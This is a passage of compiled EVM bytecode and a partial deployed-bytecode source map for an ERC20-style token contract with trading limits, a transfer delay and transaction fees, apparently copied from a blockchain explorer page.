0c016aab685f5e7e47b2e85cb44cf61088b6012600a611833565b610899906305f5e100611842565b60405190815260200160405180910390a1565b6000546001600160a01b031633146108d65760405162461bcd60e51b81526004016104c790611859565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461094a5760405162461bcd60e51b81526004016104c790611859565b601354600160a01b900460ff16156109a45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104c7565b6013805462ff00ff60a01b19166201000160a01b179055565b6000610409338484610b46565b60055461010090046001600160a01b0316336001600160a01b0316146109ef57600080fd5b306000908152600160205260409020548015610a0e57610a0e816112ac565b478015610a1e57610a1e81611426565b5050565b6001600160a01b038316610a845760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c7565b6001600160a01b038216610ae55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c7565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610baa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c7565b6001600160a01b038216610c0c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c7565b60008111610c6e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c7565b6001600160a01b03831660009081526003602052604090205460ff16158015610cb057506001600160a01b03821660009081526003602052604090205460ff16155b15610d0457601354600160a01b900460ff16610d045760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b60448201526064016104c7565b6005805460ff19169055600080546001600160a01b03858116911614801590610d3b57506000546001600160a01b03848116911614155b1561112457610d6c6064610d66600a54600d5411610d5b57600654610d5f565b6008545b8590611464565b906114ed565b60055490915060ff1615610e54576012546001600160a01b03848116911614801590610da657506013546001600160a01b03848116911614155b15610e5457326000908152600460205260409020544311610e415760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a4016104c7565b3260009081526004602052604090204390555b6013546001600160a01b038581169116148015610e7f57506012546001600160a01b03848116911614155b8015610ea457506001600160a01b03831660009081526003602052604090205460ff16155b15610fc457600e54821115610efb5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104c7565b600f5482610f1e856001600160a01b031660009081526001602052604090205490565b610f2891906118fb565b1115610f765760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104c7565b61dead60005260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d5415610fae576000600c555b600d8054906000610fbe8361190e565b91905055505b6013546001600160a01b038481169116148015610fea57506001600160a01b0384163014155b15611046576001600160a01b03841660009081526003602052604090205460ff161561101e576005805460ff191660011790555b6110436064610d66600b54600d541161103957600754610d5f565b6009548590611464565b90505b30600090815260016020526040902054601354600160a81b900460ff1615801561107d57506013546001600160a01b038581169116145b80156110925750601354600160b01b900460ff165b801561109f575060105481115b80156110ae5750600c54600d54115b80156110d357506001600160a01b03851660009081526003602052604090205460ff16155b15611122576000600c54116110ea576110ea611927565b611107611102846110fd8460115461152f565b61152f565b6112ac565b4766b1a2bc2ec500008111156111205761112047611426565b505b505b801561119e57306000908152600160205260409020546111449082611544565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111959085815260200190565b60405180910390a35b60055460ff166111e5576001600160a01b0384166000908152600160205260409020546111cb90836115a3565b6001600160a01b0385166000908152600160205260409020555b6112116111f283836115a3565b6001600160a01b03851660009081526001602052604090205490611544565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61125b85856115a3565b60405190815260200160405180910390a350505050565b600081848411156112965760405162461bcd60e51b81526004016104c79190611613565b5060006112a3848661193d565b95945050505050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112f4576112f4611950565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561134d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611371919061188e565b8160018151811061138457611384611950565b6001600160a01b0392831660209182029290920101526012546113aa9130911684610a22565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113e3908590600090869030904290600401611966565b600060405180830381600087803b1580156113fd57600080fd5b505af1158015611411573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6005546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015610a1e573d6000803e3d6000fd5b6000826000036114765750600061040d565b60006114828385611842565b90508261148f85836119d7565b146114e65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c7565b9392505050565b60006114e683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115e5565b600081831161153e57826114e6565b50919050565b60008061155183856118fb565b9050838110156114e65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c7565b60006114e683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611272565b600081836116065760405162461bcd60e51b81526004016104c79190611613565b5060006112a384866119d7565b600060208083528351808285015260005b8181101561164057858101830151858201604001528201611624565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146107ed57600080fd5b6000806040838503121561168957600080fd5b823561169481611661565b946020939093013593505050565b6000806000606084860312156116b757600080fd5b83356116c281611661565b925060208401356116d281611661565b929592945050506040919091013590565b6000602082840312156116f557600080fd5b81356114e681611661565b6000806040838503121561171357600080fd5b823561171e81611661565b9150602083013561172e81611661565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561178a57816000190482111561177057611770611739565b8085161561177d57918102915b93841c9390800290611754565b509250929050565b6000826117a15750600161040d565b816117ae5750600061040d565b81600181146117c457600281146117ce576117ea565b600191505061040d565b60ff8411156117df576117df611739565b50506001821b61040d565b5060208310610133831016604e8410600b841016171561180d575081810a61040d565b611817838361174f565b806000190482111561182b5761182b611739565b029392505050565b60006114e660ff841683611792565b808202811582820484141761040d5761040d611739565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118a057600080fd5b81516114e681611661565b6000806000606084860312156118c057600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156118eb57600080fd5b815180151581146114e657600080fd5b8082018082111561040d5761040d611739565b60006001820161192057611920611739565b5060010190565b634e487b7160e01b600052600160045260246000fd5b8181038181111561040d5761040d611739565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119b65784516001600160a01b031683529383019391830191600101611991565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826119f457634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220418be388111e5b9713fc678ad720a40c592109c2e57acca1371d4d3ad9eabe9964736f6c63430008130033
Deployed Bytecode Sourcemap
3610:8489:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6288:83;;;;;;;;;;-1:-1:-1;6358:5:0;;;;;;;;;;;;-1:-1:-1;;;6358:5:0;;;;6288:83;;;;;;;:::i;:::-;;;;;;;;7121:161;;;;;;;;;;-1:-1:-1;7121:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7121:161:0;1023:187:1;4785:50:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4785:50:0;1215:177:1;6565:95:0;;;;;;;;;;;;;:::i;7290:313::-;;;;;;;;;;-1:-1:-1;7290:313:0;;;;;:::i;:::-;;:::i;6474:83::-;;;;;;;;;;-1:-1:-1;6474:83:0;;4386:2;2000:36:1;;1988:2;1973:18;6474:83:0;1858:184:1;5712:568:0;;;:::i;:::-;;4893:28;;;;;;;;;;-1:-1:-1;4893:28:0;;;;-1:-1:-1;;;;;4893:28:0;;;;;;-1:-1:-1;;;;;2211:32:1;;;2193:51;;2181:2;2166:18;4893:28:0;2047:203:1;11407:196:0;;;;;;;;;;;;;:::i;6668:119::-;;;;;;;;;;-1:-1:-1;6668:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6761:18:0;6734:7;6761:18;;;:9;:18;;;;;;;6668:119;2691:148;;;;;;;;;;;;;:::i;4581:49::-;;;;;;;;;;;;;;;;5537:167;;;;;;;;;;;;;:::i;2477:79::-;;;;;;;;;;-1:-1:-1;2515:7:0;2542:6;-1:-1:-1;;;;;2542:6:0;2477:79;;4637:51;;;;;;;;;;;;;;;;6379:87;;;;;;;;;;-1:-1:-1;6451:7:0;;;;;;;;;;;;-1:-1:-1;;;6451:7:0;;;;6379:87;;6795:167;;;;;;;;;;-1:-1:-1;6795:167:0;;;;;:::i;:::-;;:::i;4707:55::-;;;;;;;;;;;;;;;;11748:348;;;;;;;;;;;;;:::i;3953:32::-;;;;;;;;;;-1:-1:-1;3953:32:0;;;;;;;;6970:143;;;;;;;;;;-1:-1:-1;6970:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7078:18:0;;;7051:7;7078:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6970:143;7121:161;7196:4;7213:39;312:10;7236:7;7245:6;7213:8;:39::i;:::-;-1:-1:-1;7270:4:0;7121:161;;;;;:::o;6565:95::-;6618:7;4444:13;4386:2;4444;:13;:::i;:::-;4430:27;;:11;:27;:::i;:::-;6638:14;;6565:95;:::o;7290:313::-;7388:4;7405:36;7415:6;7423:9;7434:6;7405:9;:36::i;:::-;7452:121;7461:6;312:10;7483:89;7521:6;7483:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7483:19:0;;;;;;:11;:19;;;;;;;;312:10;7483:33;;;;;;;;;;:37;:89::i;:::-;7452:8;:121::i;:::-;-1:-1:-1;7591:4:0;7290:313;;;;;:::o;5712:568::-;2604:6;;-1:-1:-1;;;;;2604:6:0;312:10;2604:22;2596:67;;;;-1:-1:-1;;;2596:67:0;;;;;;;:::i;:::-;;;;;;;;;5778:15:::1;:80:::0;;-1:-1:-1;;;;;;5778:80:0::1;5815:42;5778:80:::0;;::::1;::::0;;5869:58:::1;::::0;5886:4:::1;::::0;5815:42;4444:13:::1;::::0;:2:::1;:13;:::i;:::-;4430:27;::::0;:11:::1;:27;:::i;5869:58::-;5972:15;;;;;;;;;-1:-1:-1::0;;;;;5972:15:0::1;-1:-1:-1::0;;;;;5972:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5954:55:0::1;;6018:4;6025:15;;;;;;;;;-1:-1:-1::0;;;;;6025:15:0::1;-1:-1:-1::0;;;;;6025:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5954:94;::::0;-1:-1:-1;;;;;;5954:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5435:15:1;;;5954:94:0::1;::::0;::::1;5417:34:1::0;5487:15;;5467:18;;;5460:43;5352:18;;5954:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5938:13;:110:::0;;-1:-1:-1;;;;;5938:110:0;;::::1;-1:-1:-1::0;;;;;;5938:110:0;;::::1;;::::0;;6059:15:::1;::::0;::::1;:31;6098:21;6129:4;6135:24;6129:4:::0;-1:-1:-1;;;;;6761:18:0;6734:7;6761:18;;;:9;:18;;;;;;;6668:119;6135:24:::1;6160:1;6162::::0;6164:7:::1;2515::::0;2542:6;-1:-1:-1;;;;;2542:6:0;;2477:79;6164:7:::1;6059:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;6059:129:0;;;-1:-1:-1;;;;;5873:15:1;;;6059:129:0::1;::::0;::::1;5855:34:1::0;5905:18;;;5898:34;;;;5948:18;;;5941:34;;;;5991:18;;;5984:34;6055:15;;;6034:19;;;6027:44;6172:15:0::1;6087:19:1::0;;;6080:35;5789:19;;6059:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6206:13:0::1;::::0;6237:15:::1;::::0;6199:71:::1;::::0;-1:-1:-1;;;6199:71:0;;-1:-1:-1;;;;;6237:15:0;;::::1;6199:71;::::0;::::1;6611:51:1::0;-1:-1:-1;;6678:18:1;;;6671:34;6206:13:0;::::1;::::0;-1:-1:-1;6199:29:0::1;::::0;6584:18:1;;6199:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;5712:568::o:0;11407:196::-;2604:6;;-1:-1:-1;;;;;2604:6:0;312:10;2604:22;2596:67;;;;-1:-1:-1;;;2596:67:0;;;;;;;:::i;:::-;4444:13:::1;4386:2;4444;:13;:::i;:::-;4430:27;::::0;:11:::1;:27;:::i;:::-;11460:12;:22:::0;4444:13:::1;4386:2;4444;:13;:::i;:::-;4430:27;::::0;:11:::1;:27;:::i;:::-;11493:14;:22:::0;11526:20:::1;:26:::0;;-1:-1:-1;;11526:26:0::1;::::0;;11568:27:::1;4444:13;4386:2;-1:-1:-1::0;4444:13:0::1;:::i;:::-;4430:27;::::0;:11:::1;:27;:::i;:::-;11568;::::0;1361:25:1;;;1349:2;1334:18;11568:27:0::1;;;;;;;11407:196::o:0;2691:148::-;2604:6;;-1:-1:-1;;;;;2604:6:0;312:10;2604:22;2596:67;;;;-1:-1:-1;;;2596:67:0;;;;;;;:::i;:::-;2798:1:::1;2782:6:::0;;2761:40:::1;::::0;-1:-1:-1;;;;;2782:6:0;;::::1;::::0;2761:40:::1;::::0;2798:1;;2761:40:::1;2829:1;2812:19:::0;;-1:-1:-1;;;;;;2812:19:0::1;::::0;;2691:148::o;5537:167::-;2604:6;;-1:-1:-1;;;;;2604:6:0;312:10;2604:22;2596:67;;;;-1:-1:-1;;;2596:67:0;;;;;;;:::i;:::-;5598:11:::1;::::0;-1:-1:-1;;;5598:11:0;::::1;;;5597:12;5589:47;;;::::0;-1:-1:-1;;;5589:47:0;;7200:2:1;5589:47:0::1;::::0;::::1;7182:21:1::0;7239:2;7219:18;;;7212:30;7278:25;7258:18;;;7251:53;7321:18;;5589:47:0::1;6998:347:1::0;5589:47:0::1;5649:11;:18:::0;;-1:-1:-1;;;;5678:18:0;-1:-1:-1;;;5678:18:0;;;5537:167::o;6795:::-;6873:4;6890:42;312:10;6914:9;6925:6;6890:9;:42::i;11748:348::-;11812:10;;;;;-1:-1:-1;;;;;11812:10:0;312;-1:-1:-1;;;;;11798:24:0;;11790:33;;;;;;11873:4;11834:20;6761:18;;;:9;:18;;;;;;11893:14;;11890:73;;11921:30;11938:12;11921:16;:30::i;:::-;11992:21;12027:12;;12024:65;;12053:24;12066:10;12053:12;:24::i;:::-;11779:317;;11748:348::o;7611:335::-;-1:-1:-1;;;;;7704:19:0;;7696:68;;;;-1:-1:-1;;;7696:68:0;;7552:2:1;7696:68:0;;;7534:21:1;7591:2;7571:18;;;7564:30;7630:34;7610:18;;;7603:62;-1:-1:-1;;;7681:18:1;;;7674:34;7725:19;;7696:68:0;7350:400:1;7696:68:0;-1:-1:-1;;;;;7783:21:0;;7775:68;;;;-1:-1:-1;;;7775:68:0;;7957:2:1;7775:68:0;;;7939:21:1;7996:2;7976:18;;;7969:30;8035:34;8015:18;;;8008:62;-1:-1:-1;;;8086:18:1;;;8079:32;8128:19;;7775:68:0;7755:398:1;7775:68:0;-1:-1:-1;;;;;7854:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7906:32;;1361:25:1;;;7906:32:0;;1334:18:1;7906:32:0;;;;;;;7611:335;;;:::o;7954:2846::-;-1:-1:-1;;;;;8042:18:0;;8034:68;;;;-1:-1:-1;;;8034:68:0;;8360:2:1;8034:68:0;;;8342:21:1;8399:2;8379:18;;;8372:30;8438:34;8418:18;;;8411:62;-1:-1:-1;;;8489:18:1;;;8482:35;8534:19;;8034:68:0;8158:401:1;8034:68:0;-1:-1:-1;;;;;8121:16:0;;8113:64;;;;-1:-1:-1;;;8113:64:0;;8766:2:1;8113:64:0;;;8748:21:1;8805:2;8785:18;;;8778:30;8844:34;8824:18;;;8817:62;-1:-1:-1;;;8895:18:1;;;8888:33;8938:19;;8113:64:0;8564:399:1;8113:64:0;8205:1;8196:6;:10;8188:64;;;;-1:-1:-1;;;8188:64:0;;9170:2:1;8188:64:0;;;9152:21:1;9209:2;9189:18;;;9182:30;9248:34;9228:18;;;9221:62;-1:-1:-1;;;9299:18:1;;;9292:39;9348:19;;8188:64:0;8968:405:1;8188:64:0;-1:-1:-1;;;;;8270:24:0;;;;;;:18;:24;;;;;;;;8269:25;:52;;;;-1:-1:-1;;;;;;8299:22:0;;;;;;:18;:22;;;;;;;;8298:23;8269:52;8265:101;;;8331:11;;-1:-1:-1;;;8331:11:0;;;;8323:43;;;;-1:-1:-1;;;8323:43:0;;9580:2:1;8323:43:0;;;9562:21:1;9619:2;9599:18;;;9592:30;-1:-1:-1;;;9638:18:1;;;9631:49;9697:18;;8323:43:0;9378:343:1;8323:43:0;8411:20;:28;;-1:-1:-1;;8411:28:0;;;-1:-1:-1;2542:6:0;;-1:-1:-1;;;;;8456:15:0;;;2542:6;;8456:15;;;;:32;;-1:-1:-1;2515:7:0;2542:6;-1:-1:-1;;;;;8475:13:0;;;2542:6;;8475:13;;8456:32;8452:1953;;;8517:76;8589:3;8517:67;8539:15;;8529:9;;:25;8528:55;;8569:14;;8528:55;;;8556:12;;8528:55;8517:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8614:20;;8505:88;;-1:-1:-1;8614:20:0;;8610:508;;;8675:15;;-1:-1:-1;;;;;8661:30:0;;;8675:15;;8661:30;;;;:62;;-1:-1:-1;8709:13:0;;-1:-1:-1;;;;;8695:28:0;;;8709:13;;8695:28;;8661:62;8657:444;;;8815:9;8786:39;;;;:28;:39;;;;;;8859:12;-1:-1:-1;8750:250:0;;;;-1:-1:-1;;;8750:250:0;;9928:2:1;8750:250:0;;;9910:21:1;9967:2;9947:18;;;9940:30;10006:34;9986:18;;;9979:62;10077:34;10057:18;;;10050:62;-1:-1:-1;;;10128:19:1;;;10121:40;10178:19;;8750:250:0;9726:477:1;8750:250:0;9054:9;9025:39;;;;:28;:39;;;;;9067:12;9025:54;;8657:444;9146:13;;-1:-1:-1;;;;;9138:21:0;;;9146:13;;9138:21;:55;;;;-1:-1:-1;9177:15:0;;-1:-1:-1;;;;;9163:30:0;;;9177:15;;9163:30;;9138:55;:83;;;;-1:-1:-1;;;;;;9199:22:0;;;;;;:18;:22;;;;;;;;9197:24;9138:83;9134:391;;;9261:12;;9251:6;:22;;9243:60;;;;-1:-1:-1;;;9243:60:0;;10410:2:1;9243:60:0;;;10392:21:1;10449:2;10429:18;;;10422:30;10488:27;10468:18;;;10461:55;10533:18;;9243:60:0;10208:349:1;9243:60:0;9356:14;;9346:6;9330:13;9340:2;-1:-1:-1;;;;;6761:18:0;6734:7;6761:18;;;:9;:18;;;;;;;6668:119;9330:13;:22;;;;:::i;:::-;:40;;9322:79;;;;-1:-1:-1;;;9322:79:0;;10894:2:1;9322:79:0;;;10876:21:1;10933:2;10913:18;;;10906:30;10972:28;10952:18;;;10945:56;11018:18;;9322:79:0;10692:350:1;9322:79:0;9441:6;9452:1;6761:18;:9;:18;;;;9423:30;9420:59;;9478:1;9457:18;:22;9420:59;9498:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9134:391;9551:13;;-1:-1:-1;;;;;9545:19:0;;;9551:13;;9545:19;:43;;;;-1:-1:-1;;;;;;9568:20:0;;9583:4;9568:20;;9545:43;9541:254;;;-1:-1:-1;;;;;9613:24:0;;;;;;:18;:24;;;;;;;;9609:59;;;9641:20;:27;;-1:-1:-1;;9641:27:0;9664:4;9641:27;;;9609:59;9699:79;9774:3;9699:70;9721:16;;9711:9;;:26;9710:58;;9753:15;;9710:58;;;9739:13;;9699:6;;:10;:70::i;:79::-;9687:91;;9541:254;9860:4;9811:28;6761:18;;;:9;:18;;;;;;9886:6;;-1:-1:-1;;;9886:6:0;;;;9885:7;:30;;;;-1:-1:-1;9902:13:0;;-1:-1:-1;;;;;9896:19:0;;;9902:13;;9896:19;9885:30;:45;;;;-1:-1:-1;9919:11:0;;-1:-1:-1;;;9919:11:0;;;;9885:45;:87;;;;;9955:17;;9934:20;:38;9885:87;:119;;;;;9986:18;;9976:9;;:28;9885:119;:148;;;;-1:-1:-1;;;;;;10009:24:0;;;;;;:18;:24;;;;;;;;10008:25;9885:148;9881:513;;;10082:1;10061:18;;:22;10054:30;;;;:::i;:::-;10103:67;10120:49;10124:6;10131:37;10135:20;10156:11;;10131:3;:37::i;:::-;10120:3;:49::i;:::-;10103:16;:67::i;:::-;10218:21;10282:17;10261:38;;10258:121;;;10324:35;10337:21;10324:12;:35::i;:::-;10035:359;9881:513;8490:1915;8452:1953;10420:13;;10417:163;;10490:4;10472:24;;;;:9;:24;;;;;;:39;;10501:9;10472:28;:39::i;:::-;10465:4;10447:24;;;;:9;:24;;;;;;;:64;;;;10529:39;;-1:-1:-1;;;;;10529:39:0;;;;;;;10558:9;1361:25:1;;1349:2;1334:18;;1215:177;10529:39:0;;;;;;;;10417:163;10596:20;;;;10592:78;;-1:-1:-1;;;;;10643:15:0;;;;;;:9;:15;;;;;;:27;;10663:6;10643:19;:27::i;:::-;-1:-1:-1;;;;;10627:15:0;;;;;;:9;:15;;;;;:43;10592:78;10695:40;10713:21;:6;10724:9;10713:10;:21::i;:::-;-1:-1:-1;;;;;10695:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;10681:13:0;;;;;;;:9;:13;;;;;:54;;;;10751:41;;;10770:21;:6;10781:9;10770:10;:21::i;:::-;10751:41;;1361:25:1;;;1349:2;1334:18;10751:41:0;;;;;;;8023:2777;7954:2846;;;:::o;1369:190::-;1455:7;1491:12;1483:6;;;;1475:29;;;;-1:-1:-1;;;1475:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1515:9:0;1527:5;1531:1;1527;:5;:::i;:::-;1515:17;1369:190;-1:-1:-1;;;;;1369:190:0:o;10916:483::-;5116:6;:13;;-1:-1:-1;;;;5116:13:0;-1:-1:-1;;;5116:13:0;;;11018:16:::1;::::0;;11032:1:::1;11018:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11018:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11018:16:0::1;10994:40;;11063:4;11045;11050:1;11045:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11045:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11089:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11089:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11045:7;;11089:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11079:4;11084:1;11079:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11079:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11154:15:::1;::::0;11122:62:::1;::::0;11139:4:::1;::::0;11154:15:::1;11172:11:::0;11122:8:::1;:62::i;:::-;11195:15;::::0;:196:::1;::::0;-1:-1:-1;;;11195:196:0;;-1:-1:-1;;;;;11195:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11276:11;;11195:15:::1;::::0;11318:4;;11345::::1;::::0;11365:15:::1;::::0;11195:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5152:6:0;:14;;-1:-1:-1;;;;5152:14:0;;;-1:-1:-1;;;;10916:483:0:o;11611:92::-;11668:10;;:27;;:10;;;;-1:-1:-1;;;;;11668:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;1567:246;1625:7;1649:1;1654;1649:6;1645:47;;-1:-1:-1;1679:1:0;1672:8;;1645:47;1702:9;1714:5;1718:1;1714;:5;:::i;:::-;1702:17;-1:-1:-1;1747:1:0;1738:5;1742:1;1702:17;1738:5;:::i;:::-;:10;1730:56;;;;-1:-1:-1;;;1730:56:0;;13125:2:1;1730:56:0;;;13107:21:1;13164:2;13144:18;;;13137:30;13203:34;13183:18;;;13176:62;-1:-1:-1;;;13254:18:1;;;13247:31;13295:19;;1730:56:0;12923:397:1;1730:56:0;1804:1;1567:246;-1:-1:-1;;;1567:246:0:o;1821:132::-;1879:7;1906:39;1910:1;1913;1906:39;;;;;;;;;;;;;;;;;:3;:39::i;10810:98::-;10867:7;10894:1;10892;:3;10891:9;;10899:1;10891:9;;;-1:-1:-1;10897:1:0;10810:98;-1:-1:-1;10810:98:0:o;1038:179::-;1096:7;;1128:5;1132:1;1128;:5;:::i;:::-;1116:17;;1157:1;1152;:6;;1144:46;;;;-1:-1:-1;;;1144:46:0;;13527:2:1;1144:46:0;;;13509:21:1;13566:2;13546:18;;;13539:30;13605:29;13585:18;;;13578:57;13652:18;;1144:46:0;13325:351:1;1225:136:0;1283:7;1310:43;1314:1;1317;1310:43;;;;;;;;;;;;;;;;;:3;:43::i;1961:189::-;2047:7;2082:12;2075:5;2067:28;;;;-1:-1:-1;;;2067:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2106:9:0;2118:5;2122:1;2118;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2255:247::-;2314:6;2367:2;2355:9;2346:7;2342:23;2338:32;2335:52;;;2383:1;2380;2373:12;2335:52;2422:9;2409:23;2441:31;2466:5;2441:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19: